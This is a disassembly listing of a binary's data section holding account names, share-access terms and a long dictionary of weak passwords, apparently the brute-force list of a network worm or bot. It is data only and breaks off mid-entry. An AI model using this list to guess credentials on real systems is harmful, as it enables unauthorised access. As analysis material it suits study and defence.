.nsp0:0043A26Co align 10h aAdministrato_3 db 'Administrator',0 ; DATA XREF: .nsp0:0043A270o align 10h aAdministrato_4 db 'administrator',0 ; DATA XREF: .nsp0:0043A274o align 10h aFubar db 'fubar',0 ; DATA XREF: .nsp0:0043A278o align 4 aBla db 'bla',0 ; DATA XREF: .nsp0:0043A27Co aGuest_1 db 'GUEST',0 ; DATA XREF: .nsp0:0043A280o align 4 aRoot_0 db 'ROOT',0 ; DATA XREF: .nsp0:0043A284o align 4 aRoot_1 db 'root',0 ; DATA XREF: .nsp0:0043A288o align 4 aAdmin_0 db 'ADMIN',0 ; DATA XREF: .nsp0:0043A28Co align 4 aPassword db 'PASSWORD',0 ; DATA XREF: .nsp0:0043A290o align 4 aTemp db 'TEMP',0 ; DATA XREF: .nsp0:0043A294o align 10h aShare_0 db 'SHARE',0 ; DATA XREF: .nsp0:0043A298o align 4 aWrite db 'WRITE',0 ; DATA XREF: .nsp0:0043A29Co align 10h aFull_0 db 'FULL',0 ; DATA XREF: .nsp0:0043A2A0o align 4 aLadeda db 'ladeda',0 ; DATA XREF: .nsp0:0043A2A4o align 10h aBoth db 'BOTH',0 ; DATA XREF: .nsp0:0043A2A8o align 4 aRead db 'READ',0 ; DATA XREF: .nsp0:0043A2ACo align 10h aFiles db 'FILES',0 ; DATA XREF: .nsp0:0043A2B0o align 4 aDemo db 'DEMO',0 ; DATA XREF: .nsp0:0043A2B4o align 10h aOwner_0 db 'OWNER',0 ; DATA XREF: .nsp0:0043A2B8o align 4 aOwner_1 db 'Owner',0 ; DATA XREF: .nsp0:0043A2BCo align 10h aEdu db 'edu',0 ; DATA XREF: .nsp0:0043A2C0o aTest db 'TEST',0 ; DATA XREF: .nsp0:0043A2C4o align 4 aAccess db 'ACCESS',0 ; DATA XREF: .nsp0:0043A2C8o align 4 aUser_4 db 'USER',0 ; DATA XREF: .nsp0:0043A2CCo align 4 aBackup db 'BACKUP',0 ; DATA XREF: .nsp0:0043A2D0o align 4 aSystem_1 db 'SYSTEM',0 ; DATA XREF: .nsp0:0043A2D4o align 4 aServer_6 db 'SERVER',0 ; DATA XREF: .nsp0:0043A2D8o align 4 aPepsi db 'pepsi',0 ; DATA XREF: .nsp0:0043A2DCo align 4 aLocal db 'LOCAL',0 ; DATA XREF: .nsp0:0043A2E0o align 4 aUnix db 'unix',0 ; DATA XREF: .nsp0:0043A2E4o align 4 aLinux db 'linux',0 ; DATA XREF: .nsp0:0043A2E8o align 4 aChangeme db 'changeme',0 ; DATA XREF: .nsp0:0043A2ECo align 10h aChangeme_0 db 'Changeme',0 ; DATA XREF: .nsp0:0043A2F0o align 4 aTemp123 db 'temp123',0 ; DATA XREF: .nsp0:0043A2F4o a1: ; DATA XREF: .nsp0:0043A2F8o unicode 0, <1>,0 a12 db '12',0 ; DATA XREF: .nsp0:0043A2FCo align 4 a123 db '123',0 ; DATA XREF: .nsp0:0043A300o a1234 db '1234',0 ; DATA XREF: .nsp0:0043A304o align 4 a12345 db '12345',0 ; DATA XREF: .nsp0:0043A308o align 10h a123456 db '123456',0 ; DATA XREF: .nsp0:0043A30Co align 4 a1234567 db '1234567',0 ; DATA XREF: .nsp0:0043A310o a12345678 db '12345678',0 ; DATA XREF: .nsp0:0043A314o align 4 a123456789 db '123456789',0 ; DATA XREF: .nsp0:0043A318o align 4 a654321 db '654321',0 ; DATA XREF: .nsp0:0043A31Co align 10h a54321 db '54321',0 ; DATA XREF: .nsp0:0043A320o align 4 a111 db '111',0 ; DATA XREF: .nsp0:0043A324o a11111111 db '11111111',0 ; DATA XREF: .nsp0:0043A328o align 4 a88888888 db '88888888',0 ; DATA XREF: .nsp0:0043A32Co align 4 aPass_1 db 'pass',0 ; DATA XREF: .nsp0:0043A330o align 4 aPasswd db 'passwd',0 ; DATA XREF: .nsp0:0043A334o align 4 aDatabase_0 db 'database',0 ; DATA XREF: .nsp0:0043A338o align 10h aAbcd db 'abcd',0 ; DATA XREF: .nsp0:0043A33Co align 4 aAbc123 db 'abc123',0 ; DATA XREF: .nsp0:0043A340o align 10h aOracle_0 db 'oracle',0 ; DATA XREF: .nsp0:0043A344o align 4 aSybase db 'sybase',0 ; DATA XREF: .nsp0:0043A348o align 10h a123qwe db '123qwe',0 ; DATA XREF: .nsp0:0043A34Co align 4 aComputer_0 db 'computer',0 ; DATA XREF: .nsp0:0043A350o align 4 aInternet db 'Internet',0 ; DATA XREF: .nsp0:0043A354o align 10h aSuper db 'super',0 ; DATA XREF: .nsp0:0043A358o align 4 a123asd_0 db '123asd',0 align 10h aIhavenopass db 'ihavenopass',0 aGodblessyou db 'godblessyou',0 aEnable db 'enable',0 align 10h aXp_0 db 'xp',0 align 4 a2002_0 db '2002',0 align 4 a2003_1 db '2003',0 align 4 a2600_0 db '2600',0 align 4 a110_0 db '110',0 a111111_0 db '111111',0 align 4 a121212_0 db '121212',0 align 10h a123123_0 db '123123',0 align 4 a1234qwer_0 db '1234qwer',0 align 4 a123abc_0 db '123abc',0 align 4 a007_0 db '007',0 aAlpha db 'alpha',0 align 4 aPatrick db 'patrick',0 aPat db 'pat',0 ; DATA XREF: .nsp0:0043A3A0o aSex db 'sex',0 aGod db 'god',0 aFoobar db 'foobar',0 align 4 aNilez db 'Nilez',0 align 4 aDevil db 'devil',0 align 4 aNetdevil db 'netdevil',0 align 10h aNetDevil db 'net-devil',0 align 4 a0wned db '0wned',0 ; DATA XREF: .nsp0:0043A3C0o align 4 aOwned db 'owned',0 align 4 aIrule db 'irule',0 align 4 aNetfuck db 'netfuck',0 ; DATA XREF: .nsp0:0043A3CCo aFucked db 'fucked',0 ; DATA XREF: .nsp0:0043A3D0o align 4 aCrash db 'crash',0 ; DATA XREF: .nsp0:0043A3D4o align 4 aA_2: unicode 0, <a>,0 aAaa_0 db 'aaa',0 ; DATA XREF: .nsp0:0043A3DCo aAbc db 'abc',0 aTest123 db 'test123',0 aWin db 'win',0 aPc db 'pc',0 align 4 aAsdf_0 db 'asdf',0 align 10h aSecret db 'secret',0 align 4 aQwer_0 db 'qwer',0 align 10h aYxcv db 'yxcv',0 align 4 aZxcv_0 db 'zxcv',0 align 10h aHome db 'home',0 align 4 aLogin_0 db 'login',0 align 10h aPwd db 'pwd',0 aLove db 'love',0 align 4 aMypc db 'mypc',0 align 4 aMypc123 db 'mypc123',0 aAdmin123 db 'admin123',0 align 4 aPw123 db 'pw123',0 align 10h aMypass db 'mypass',0 align 4 aMypass123 db 'mypass123',0 align 4 aPw db 'pw',0 align 4 aMat db 'Mat',0 aMatt db 'Matt',0 align 4 aMatthew db 'Matthew',0 aGobo db 'gobo',0 align 4 aSatan db 'satan',0 align 4 aSatanik db 'satanik',0 aSatanic db 'satanic',0 aSpaceman db 'spaceman',0 align 4 aHeaven db 'heaven',0 align 10h aW00t db 'w00t',0 align 4 a0wn3d_0 db '0wn3d',0 align 10h aKiller db 'killer',0 align 4 aLeet db 'leet',0 align 10h aL33t db 'l33t',0 ; DATA XREF: .nsp0:0043A464o align 4 aL337 db 'l337',0 ; DATA XREF: .nsp0:0043A468o align 10h aHacker db 'hacker',0 ; DATA XREF: .nsp0:0043A46Co align 4 aHax0r db 'hax0r',0 ; DATA XREF: .nsp0:0043A470o align 10h aScript db 'script',0 ; DATA XREF: .nsp0:0043A474o align 4 aScriptkiddie db 'scriptkiddie',0 ; DATA XREF: .nsp0:0043A478o align 4 aKiddie db 'kiddie',0 ; DATA XREF: .nsp0:0043A47Co align 10h aMirc_4 db 'mirc',0 ; DATA XREF: .nsp0:0043A480o align 4 aUwontguessme db 'uwontguessme',0 ; DATA XREF: .nsp0:0043A484o align 4 aYouwontguessme db 'youwontguessme',0 ; DATA XREF: .nsp0:0043A488o align 4 aGuessme db 'guessme',0 ; DATA XREF: .nsp0:0043A48Co asc_43CC70: ; DATA XREF: .nsp0:0043A490o unicode 0, <x>,0 aXx_1 db 'xx',0 ; DATA XREF: .nsp0:0043A494o align 4 aXxx db 'xxx',0 ; DATA XREF: .nsp0:0043A498o aXxxx db 'xxxx',0 ; DATA XREF: .nsp0:0043A49Co align 4 aXxxxx db 'xxxxx',0 ; DATA XREF: .nsp0:0043A4A0o align 4 aXxxxxx db 'xxxxxx',0 ; DATA XREF: .nsp0:0043A4A4o align 4 aXxxxxxx db 'xxxxxxx',0 ; DATA XREF: .nsp0:0043A4A8o aXxxxxxxx db 'xxxxxxxx',0 ; DATA XREF: .nsp0:0043A4ACo align 4 aXxxxxxxxx db 'xxxxxxxxx',0 ; DATA XREF: .nsp0:0043A4B0o align 4 a0: ; DATA XREF: .nsp0:0043A4B4o unicode 0, <0>,0 a00 db '00',0 ; DATA XREF: .nsp0:0043A4B8o align 4 aDeath db 'death',0 ; DATA XREF: .nsp0:0043A4BCo align 4 aTesting db 'testing',0 ; DATA XREF: .nsp0:0043A4C0o a000 db '000',0 ; DATA XREF: .nsp0:0043A4C4o a0000 db '0000',0 ; DATA XREF: .nsp0:0043A4C8o align 4 a00000 db '00000',0 ; DATA XREF: .nsp0:0043A4CCo align 10h a000000 db '000000',0 ; DATA XREF: .nsp0:0043A4D0o align 4 aAcademia db 'academia',0 ; DATA XREF: .nsp0:0043A4D4o align 4 aAcademic db 'academic',0 ; DATA XREF: .nsp0:0043A4D8o align 10h aAccept_0 db 'accept',0 ; DATA XREF: .nsp0:0043A4DCo align 4 aAccount db 'account',0 ; DATA XREF: .nsp0:0043A4E0o aAction_0 db 'action',0 ; DATA XREF: .nsp0:0043A4E4o align 4 aAdam db 'adam',0 ; DATA XREF: .nsp0:0043A4E8o align 10h aAdrian db 'adrian',0 ; DATA XREF: .nsp0:0043A4ECo align 4 aAdrianna db 'adrianna',0 ; DATA XREF: .nsp0:0043A4F0o align 4 aAdult db 'adult',0 ; DATA XREF: .nsp0:0043A4F4o align 4 aAerobics db 'aerobics',0 ; DATA XREF: .nsp0:0043A4F8o align 4 aAids db 'aids',0 ; DATA XREF: .nsp0:0043A4FCo align 10h aAirplane db 'airplane',0 ; DATA XREF: .nsp0:0043A500o align 4 aAlaska db 'alaska',0 ; DATA XREF: .nsp0:0043A504o align 4 aAlbany db 'albany',0 ; DATA XREF: .nsp0:0043A508o align 4 aAlbatros db 'albatros',0 ; DATA XREF: .nsp0:0043A50Co align 4 aAlbert db 'albert',0 ; DATA XREF: .nsp0:0043A510o align 10h aAlert db 'alert',0 ; DATA XREF: .nsp0:0043A514o align 4 aAlex db 'alex',0 ; DATA XREF: .nsp0:0043A518o align 10h aAlexande db 'alexande',0 ; DATA XREF: .nsp0:0043A51Co align 4 aAlgebra db 'algebra',0 ; DATA XREF: .nsp0:0043A520o aAlias db 'alias',0 ; DATA XREF: .nsp0:0043A524o align 4 aAliases_0 db 'aliases',0 ; DATA XREF: .nsp0:0043A528o aAlice db 'alice',0 ; DATA XREF: .nsp0:0043A52Co align 4 aAlicia db 'alicia',0 ; DATA XREF: .nsp0:0043A530o align 4 aAlisa db 'alisa',0 ; DATA XREF: .nsp0:0043A534o align 4 aAlison db 'alison',0 ; DATA XREF: .nsp0:0043A538o align 4 aAllison db 'allison',0 ; DATA XREF: .nsp0:0043A53Co aAllow db 'allow',0 ; DATA XREF: .nsp0:0043A540o align 4 aAlphabet db 'alphabet',0 ; DATA XREF: .nsp0:0043A544o align 10h aAmadeus db 'amadeus',0 ; DATA XREF: .nsp0:0043A548o aAmanda db 'amanda',0 ; DATA XREF: .nsp0:0043A54Co align 10h aAmber db 'amber',0 ; DATA XREF: .nsp0:0043A550o align 4 aAmerica_0 db 'america',0 ; DATA XREF: .nsp0:0043A554o aAmorphou db 'amorphou',0 ; DATA XREF: .nsp0:0043A558o align 4 aAnal db 'anal',0 ; DATA XREF: .nsp0:0043A55Co align 4 aAnalog db 'analog',0 ; DATA XREF: .nsp0:0043A560o align 4 aAnarchis db 'anarchis',0 ; DATA XREF: .nsp0:0043A564o align 4 aAnarchy db 'anarchy',0 ; DATA XREF: .nsp0:0043A568o aAnchor db 'anchor',0 ; DATA XREF: .nsp0:0043A56Co align 4 aAndrea db 'andrea',0 ; DATA XREF: .nsp0:0043A570o align 10h aAndroid db 'android',0 ; DATA XREF: .nsp0:0043A574o aAndromac db 'andromac',0 ; DATA XREF: .nsp0:0043A578o align 4 aAndy db 'andy',0 ; DATA XREF: .nsp0:0043A57Co align 4 aAnfo db 'anfo',0 ; DATA XREF: .nsp0:0043A580o align 4 aAngela db 'angela',0 ; DATA XREF: .nsp0:0043A584o align 4 aAngerine db 'angerine',0 ; DATA XREF: .nsp0:0043A588o align 4 aAngie db 'angie',0 ; DATA XREF: .nsp0:0043A58Co align 10h aAnimal db 'animal',0 ; DATA XREF: .nsp0:0043A590o align 4 aAnimals db 'animals',0 ; DATA XREF: .nsp0:0043A594o aAnita db 'anita',0 ; DATA XREF: .nsp0:0043A598o align 4 aAnna db 'anna',0 ; DATA XREF: .nsp0:0043A59Co align 10h aAnne db 'anne',0 ; DATA XREF: .nsp0:0043A5A0o align 4 aAnnette db 'annette',0 ; DATA XREF: .nsp0:0043A5A4o aAnon db 'anon',0 ; DATA XREF: .nsp0:0043A5A8o align 4 aAnonymou db 'anonymou',0 ; DATA XREF: .nsp0:0043A5ACo align 4 aAnswer db 'answer',0 ; DATA XREF: .nsp0:0043A5B0o align 4 aAnthrax db 'anthrax',0 ; DATA XREF: .nsp0:0043A5B4o aAnthropo db 'anthropo',0 ; DATA XREF: .nsp0:0043A5B8o align 10h aAnvils db 'anvils',0 ; DATA XREF: .nsp0:0043A5BCo align 4 aAnything db 'anything',0 ; DATA XREF: .nsp0:0043A5C0o align 4 aApollo13 db 'apollo13',0 ; DATA XREF: .nsp0:0043A5C4o align 10h aApril_0 db 'april',0 ; DATA XREF: .nsp0:0043A5C8o align 4 aAria db 'aria',0 ; DATA XREF: .nsp0:0043A5CCo align 10h aAriadne db 'ariadne',0 ; DATA XREF: .nsp0:0043A5D0o aArlene db 'arlene',0 ; DATA XREF: .nsp0:0043A5D4o align 10h aArmy db 'army',0 ; DATA XREF: .nsp0:0043A5D8o align 4 aArrow db 'arrow',0 ; DATA XREF: .nsp0:0043A5DCo align 10h aArthur db 'arthur',0 ; DATA XREF: .nsp0:0043A5E0o align 4 aArtist db 'artist',0 ; DATA XREF: .nsp0:0043A5E4o align 10h aAsian db 'asian',0 ; DATA XREF: .nsp0:0043A5E8o align 4 aAsshole db 'asshole',0 ; DATA XREF: .nsp0:0043A5ECo aAthena db 'athena',0 ; DATA XREF: .nsp0:0043A5F0o align 4 aAtmosphe db 'atmosphe',0 ; DATA XREF: .nsp0:0043A5F4o align 4 aAtom db 'atom',0 ; DATA XREF: .nsp0:0043A5F8o align 4 aAttack db 'attack',0 ; DATA XREF: .nsp0:0043A5FCo align 4 aAuthoriz db 'authoriz',0 ; DATA XREF: .nsp0:0043A600o align 10h aAztecs db 'aztecs',0 ; DATA XREF: .nsp0:0043A604o align 4 aAzure db 'azure',0 ; DATA XREF: .nsp0:0043A608o align 10h aBabe db 'babe',0 ; DATA XREF: .nsp0:0043A60Co align 4 aBaby db 'baby',0 ; DATA XREF: .nsp0:0043A610o align 10h aBacchus db 'bacchus',0 ; DATA XREF: .nsp0:0043A614o aBackdoor db 'backdoor',0 ; DATA XREF: .nsp0:0043A618o align 4 aBadass db 'badass',0 ; DATA XREF: .nsp0:0043A61Co align 4 aBailey db 'bailey',0 ; DATA XREF: .nsp0:0043A620o align 4 aBall db 'ball',0 ; DATA XREF: .nsp0:0043A624o align 4 aBanana db 'banana',0 ; DATA XREF: .nsp0:0043A628o align 4 aBananas db 'bananas',0 ; DATA XREF: .nsp0:0043A62Co aBandit db 'bandit',0 ; DATA XREF: .nsp0:0043A630o align 4 aBank db 'bank',0 ; DATA XREF: .nsp0:0043A634o align 4 aBanks db 'banks',0 ; DATA XREF: .nsp0:0043A638o align 4 aBarbara db 'barbara',0 ; DATA XREF: .nsp0:0043A63Co aBarber db 'barber',0 ; DATA XREF: .nsp0:0043A640o align 4 aBare db 'bare',0 ; DATA XREF: .nsp0:0043A644o align 4 aBarf db 'barf',0 ; DATA XREF: .nsp0:0043A648o align 4 aBaritone db 'baritone',0 ; DATA XREF: .nsp0:0043A64Co align 10h aBart db 'bart',0 ; DATA XREF: .nsp0:0043A650o align 4 aBartman db 'bartman',0 ; DATA XREF: .nsp0:0043A654o aBaseball db 'baseball',0 ; DATA XREF: .nsp0:0043A658o align 4 aBasic db 'basic',0 ; DATA XREF: .nsp0:0043A65Co align 4 aBass db 'bass',0 ; DATA XREF: .nsp0:0043A660o align 4 aBassoon db 'bassoon',0 ; DATA XREF: .nsp0:0043A664o aBatch db 'batch',0 ; DATA XREF: .nsp0:0043A668o align 4 aBatman db 'batman',0 ; DATA XREF: .nsp0:0043A66Co align 4 aBeach db 'beach',0 ; DATA XREF: .nsp0:0043A670o align 4 aBeammeup db 'beammeup',0 ; DATA XREF: .nsp0:0043A674o align 4 aBear db 'bear',0 ; DATA XREF: .nsp0:0043A678o align 10h aBeast db 'beast',0 ; DATA XREF: .nsp0:0043A67Co align 4 aBeater db 'beater',0 ; DATA XREF: .nsp0:0043A680o align 10h aBeauty db 'beauty',0 ; DATA XREF: .nsp0:0043A684o align 4 aBeaver db 'beaver',0 ; DATA XREF: .nsp0:0043A688o align 10h aBecky db 'becky',0 ; DATA XREF: .nsp0:0043A68Co align 4 aBeethove db 'beethove',0 ; DATA XREF: .nsp0:0043A690o align 4 aBegin db 'begin',0 ; DATA XREF: .nsp0:0043A694o align 4 aBehead db 'behead',0 ; DATA XREF: .nsp0:0043A698o align 4 aBell db 'bell',0 ; DATA XREF: .nsp0:0043A69Co align 4 aBeloved db 'beloved',0 ; DATA XREF: .nsp0:0043A6A0o aBenz db 'benz',0 ; DATA XREF: .nsp0:0043A6A4o align 4 aBeowulf db 'beowulf',0 ; DATA XREF: .nsp0:0043A6A8o aBerkeley db 'berkeley',0 ; DATA XREF: .nsp0:0043A6ACo align 10h aBerlin db 'berlin',0 ; DATA XREF: .nsp0:0043A6B0o align 4 aBerliner db 'berliner',0 ; DATA XREF: .nsp0:0043A6B4o align 4 aBeryl db 'beryl',0 ; DATA XREF: .nsp0:0043A6B8o align 4 aBeta db 'beta',0 ; DATA XREF: .nsp0:0043A6BCo align 4 aBeth db 'beth',0 ; DATA XREF: .nsp0:0043A6C0o align 4 aBetsie db 'betsie',0 ; DATA XREF: .nsp0:0043A6C4o align 4 aBetty db 'betty',0 ; DATA XREF: .nsp0:0043A6C8o align 4 aBeverly db 'beverly',0 ; DATA XREF: .nsp0:0043A6CCo aBible db 'bible',0 ; DATA XREF: .nsp0:0043A6D0o align 4 aBicamera db 'bicamera',0 ; DATA XREF: .nsp0:0043A6D4o align 4 aBigfoot db 'bigfoot',0 ; DATA XREF: .nsp0:0043A6D8o aBill db 'bill',0 ; DATA XREF: .nsp0:0043A6DCo align 4 aBinary db 'binary',0 ; DATA XREF: .nsp0:0043A6E0o align 10h aBios db 'bios',0 ; DATA XREF: .nsp0:0043A6E4o align 4 aBird db 'bird',0 ; DATA XREF: .nsp0:0043A6E8o align 10h aBishop db 'bishop',0 ; DATA XREF: .nsp0:0043A6ECo align 4 aBitch db 'bitch',0 ; DATA XREF: .nsp0:0043A6F0o align 10h aBitmap db 'bitmap',0 ; DATA XREF: .nsp0:0043A6F4o align 4 aBitnet db 'bitnet',0 ; DATA XREF: .nsp0:0043A6F8o align 10h aBlack db 'black',0 ; DATA XREF: .nsp0:0043A6FCo align 4 aBlonde db 'blonde',0 ; DATA XREF: .nsp0:0043A700o align 10h aBlondie db 'blondie',0 ; DATA XREF: .nsp0:0043A704o aBlood db 'blood',0 ; DATA XREF: .nsp0:0043A708o align 10h aBloodaxe db 'bloodaxe',0 ; DATA XREF: .nsp0:0043A70Co align 4 aBlow db 'blow',0 ; DATA XREF: .nsp0:0043A710o align 4 aBlowjob db 'blowjob',0 ; DATA XREF: .nsp0:0043A714o aBlue db 'blue',0 ; DATA XREF: .nsp0:0043A718o align 4 aBlues db 'blues',0 ; DATA XREF: .nsp0:0043A71Co align 4 aBoard db 'board',0 ; DATA XREF: .nsp0:0043A720o align 4 aBomb db 'bomb',0 ; DATA XREF: .nsp0:0043A724o align 4 aBoner db 'boner',0 ; DATA XREF: .nsp0:0043A728o align 4 aBoob db 'boob',0 ; DATA XREF: .nsp0:0043A72Co align 4 aBoobs db 'boobs',0 ; DATA XREF: .nsp0:0043A730o align 4 aBook db 'book',0 ; DATA XREF: .nsp0:0043A734o align 4 aBorn db 'born',0 ; DATA XREF: .nsp0:0043A738o align 4 aBoyscout db 'boyscout',0 ; DATA XREF: .nsp0:0043A73Co align 10h aBradley db 'bradley',0 ; DATA XREF: .nsp0:0043A740o aBrandi db 'brandi',0 ; DATA XREF: .nsp0:0043A744o align 10h aBrandy db 'brandy',0 ; DATA XREF: .nsp0:0043A748o align 4 aBravo db 'bravo',0 ; DATA XREF: .nsp0:0043A74Co align 10h aBreak db 'break',0 ; DATA XREF: .nsp0:0043A750o align 4 aBreast db 'breast',0 ; DATA XREF: .nsp0:0043A754o align 10h aBrenda db 'brenda',0 ; DATA XREF: .nsp0:0043A758o align 4 aBrian db 'brian',0 ; DATA XREF: .nsp0:0043A75Co align 10h aBridget db 'bridget',0 ; DATA XREF: .nsp0:0043A760o aBroadway db 'broadway',0 ; DATA XREF: .nsp0:0043A764o align 4 aBrothel db 'brothel',0 ; DATA XREF: .nsp0:0043A768o aBrunette db 'brunette',0 ; DATA XREF: .nsp0:0043A76Co align 4 aBrute db 'brute',0 ; DATA XREF: .nsp0:0043A770o align 10h aBrutefor db 'brutefor',0 ; DATA XREF: .nsp0:0043A774o align 4 aBulls db 'bulls',0 ; DATA XREF: .nsp0:0043A778o align 4 aBullshit db 'bullshit',0 ; DATA XREF: .nsp0:0043A77Co align 10h aBumbling db 'bumbling',0 ; DATA XREF: .nsp0:0043A780o align 4 aBung db 'bung',0 ; DATA XREF: .nsp0:0043A784o align 4 aBurgess db 'burgess',0 ; DATA XREF: .nsp0:0043A788o aBurn db 'burn',0 ; DATA XREF: .nsp0:0043A78Co align 4 aButch db 'butch',0 ; DATA XREF: .nsp0:0043A790o align 4 aButt db 'butt',0 ; DATA XREF: .nsp0:0043A794o align 4 aButthead db 'butthead',0 ; DATA XREF: .nsp0:0043A798o align 10h aCaliforn db 'californ',0 ; DATA XREF: .nsp0:0043A79Co align 4 aCamille db 'camille',0 ; DATA XREF: .nsp0:0043A7A0o aCampanil db 'campanil',0 ; DATA XREF: .nsp0:0043A7A4o align 10h aCamping db 'camping',0 ; DATA XREF: .nsp0:0043A7A8o aCandi db 'candi',0 ; DATA XREF: .nsp0:0043A7ACo align 10h aCandy db 'candy',0 ; DATA XREF: .nsp0:0043A7B0o align 4 aCantor db 'cantor',0 ; DATA XREF: .nsp0:0043A7B4o align 10h aCaptain db 'captain',0 ; DATA XREF: .nsp0:0043A7B8o aCapture db 'capture',0 ; DATA XREF: .nsp0:0043A7BCo aCard db 'card',0 ; DATA XREF: .nsp0:0043A7C0o align 4 aCardinal db 'cardinal',0 ; DATA XREF: .nsp0:0043A7C4o align 4 aCaren db 'caren',0 ; DATA XREF: .nsp0:0043A7C8o align 4 aCarla db 'carla',0 ; DATA XREF: .nsp0:0043A7CCo align 4 aCarmen db 'carmen',0 ; DATA XREF: .nsp0:0043A7D0o align 4 aCarol db 'carol',0 ; DATA XREF: .nsp0:0043A7D4o align 4 aCarole db 'carole',0 ; DATA XREF: .nsp0:0043A7D8o align 4 aCarolina db 'carolina',0 ; DATA XREF: .nsp0:0043A7DCo align 4 aCaroline db 'caroline',0 ; DATA XREF: .nsp0:0043A7E0o align 4 aCarrie db 'carrie',0 ; DATA XREF: .nsp0:0043A7E4o align 4 aCarson db 'carson',0 ; DATA XREF: .nsp0:0043A7E8o align 4 aCascades db 'cascades',0 ; DATA XREF: .nsp0:0043A7ECo align 10h aCash db 'cash',0 ; DATA XREF: .nsp0:0043A7F0o align 4 aCastle db 'castle',0 ; DATA XREF: .nsp0:0043A7F4o align 10h aCatherin db 'catherin',0 ; DATA XREF: .nsp0:0043A7F8o align 4 aCatholic db 'catholic',0 ; DATA XREF: .nsp0:0043A7FCo align 4 aCathy db 'cathy',0 ; DATA XREF: .nsp0:0043A800o align 10h aCave db 'cave',0 ; DATA XREF: .nsp0:0043A804o align 4 aCayuga db 'cayuga',0 ; DATA XREF: .nsp0:0043A808o align 10h aCecily db 'cecily',0 ; DATA XREF: .nsp0:0043A80Co align 4 aCelt db 'celt',0 ; DATA XREF: .nsp0:0043A810o align 10h aCeltic db 'celtic',0 ; DATA XREF: .nsp0:0043A814o align 4 aCeltics db 'celtics',0 ; DATA XREF: .nsp0:0043A818o aCerulean db 'cerulean',0 ; DATA XREF: .nsp0:0043A81Co align 4 aChange db 'change',0 ; DATA XREF: .nsp0:0043A820o align 4 aCharity db 'charity',0 ; DATA XREF: .nsp0:0043A824o aCharles db 'charles',0 ; DATA XREF: .nsp0:0043A828o aCharlie db 'charlie',0 ; DATA XREF: .nsp0:0043A82Co aCharming db 'charming',0 ; DATA XREF: .nsp0:0043A830o align 4 aCharon db 'charon',0 ; DATA XREF: .nsp0:0043A834o align 10h aChat db 'chat',0 ; DATA XREF: .nsp0:0043A838o align 4 aChem db 'chem',0 ; DATA XREF: .nsp0:0043A83Co align 10h aChemistr db 'chemistr',0 ; DATA XREF: .nsp0:0043A840o align 4 aChess db 'chess',0 ; DATA XREF: .nsp0:0043A844o align 4 aChester db 'chester',0 ; DATA XREF: .nsp0:0043A848o aChip db 'chip',0 ; DATA XREF: .nsp0:0043A84Co align 4 aChris db 'chris',0 ; DATA XREF: .nsp0:0043A850o align 4 aChristin db 'christin',0 ; DATA XREF: .nsp0:0043A854o align 4 aChristy db 'christy',0 ; DATA XREF: .nsp0:0043A858o aCigar db 'cigar',0 ; DATA XREF: .nsp0:0043A85Co align 4 aCigarett db 'cigarett',0 ; DATA XREF: .nsp0:0043A860o align 4 aCindy db 'cindy',0 ; DATA XREF: .nsp0:0043A864o align 4 aClass db 'class',0 ; DATA XREF: .nsp0:0043A868o align 4 aClasses db 'classes',0 ; DATA XREF: .nsp0:0043A86Co aClassic db 'classic',0 ; DATA XREF: .nsp0:0043A870o aClaudia db 'claudia',0 ; DATA XREF: .nsp0:0043A874o aClaymore db 'claymore',0 ; DATA XREF: .nsp0:0043A878o align 4 aCleavage db 'cleavage',0 ; DATA XREF: .nsp0:0043A87Co align 4 aClinton db 'clinton',0 ; DATA XREF: .nsp0:0043A880o aCluster db 'cluster',0 ; DATA XREF: .nsp0:0043A884o aClusters db 'clusters',0 ; DATA XREF: .nsp0:0043A888o align 10h aCoast db 'coast',0 ; DATA XREF: .nsp0:0043A88Co align 4 aCocacola db 'cocacola',0 ; DATA XREF: .nsp0:0043A890o align 4 aCocainco db 'cocainco',0 ; DATA XREF: .nsp0:0043A894o align 10h aCock db 'cock',0 ; DATA XREF: .nsp0:0043A898o align 4 aCode db 'code',0 ; DATA XREF: .nsp0:0043A89Co align 10h aCodename db 'codename',0 ; DATA XREF: .nsp0:0043A8A0o align 4 aCodeword db 'codeword',0 ; DATA XREF: .nsp0:0043A8A4o align 4 aCoffee db 'coffee',0 ; DATA XREF: .nsp0:0043A8A8o align 10h aCoin db 'coin',0 ; DATA XREF: .nsp0:0043A8ACo align 4 aCoke db 'coke',0 ; DATA XREF: .nsp0:0043A8B0o align 10h aCola db 'cola',0 ; DATA XREF: .nsp0:0043A8B4o align 4 aCold db 'cold',0 ; DATA XREF: .nsp0:0043A8B8o align 10h aCollins db 'collins',0 ; DATA XREF: .nsp0:0043A8BCo aColor db 'color',0 ; DATA XREF: .nsp0:0043A8C0o align 10h aCombat db 'combat',0 ; DATA XREF: .nsp0:0043A8C4o align 4 aComics db 'comics',0 ; DATA XREF: .nsp0:0043A8C8o align 10h aCommit db 'commit',0 ; DATA XREF: .nsp0:0043A8CCo align 4 aCommrade db 'commrade',0 ; DATA XREF: .nsp0:0043A8D0o align 4 aCompany db 'company',0 ; DATA XREF: .nsp0:0043A8D4o aComputin db 'computin',0 ; DATA XREF: .nsp0:0043A8D8o align 4 aComrade db 'comrade',0 ; DATA XREF: .nsp0:0043A8DCo aComrades db 'comrades',0 ; DATA XREF: .nsp0:0043A8E0o align 4 aCondo db 'condo',0 ; DATA XREF: .nsp0:0043A8E4o align 4 aCondom db 'condom',0 ; DATA XREF: .nsp0:0043A8E8o align 4 aConnect_0 db 'connect',0 ; DATA XREF: .nsp0:0043A8ECo aConnie db 'connie',0 ; DATA XREF: .nsp0:0043A8F0o align 4 aConserva db 'conserva',0 ; DATA XREF: .nsp0:0043A8F4o align 4 aConsole db 'console',0 ; DATA XREF: .nsp0:0043A8F8o aContinue_0 db 'continue',0 ; DATA XREF: .nsp0:0043A8FCo align 4 aCook db 'cook',0 ; DATA XREF: .nsp0:0043A900o align 4 aCookbook db 'cookbook',0 ; DATA XREF: .nsp0:0043A904o align 10h aCookie db 'cookie',0 ; DATA XREF: .nsp0:0043A908o align 4 aCool db 'cool',0 ; DATA XREF: .nsp0:0043A90Co align 10h aCooper db 'cooper',0 ; DATA XREF: .nsp0:0043A910o align 4 aCopper db 'copper',0 ; DATA XREF: .nsp0:0043A914o align 10h aCops db 'cops',0 ; DATA XREF: .nsp0:0043A918o align 4 aCopy db 'copy',0 ; DATA XREF: .nsp0:0043A91Co align 10h aCorneliu db 'corneliu',0 ; DATA XREF: .nsp0:0043A920o align 4 aCorrect db 'correct',0 ; DATA XREF: .nsp0:0043A924o aCounters db 'counters',0 ; DATA XREF: .nsp0:0043A928o align 10h aCountry db 'country',0 ; DATA XREF: .nsp0:0043A92Co aCouscous db 'couscous',0 ; DATA XREF: 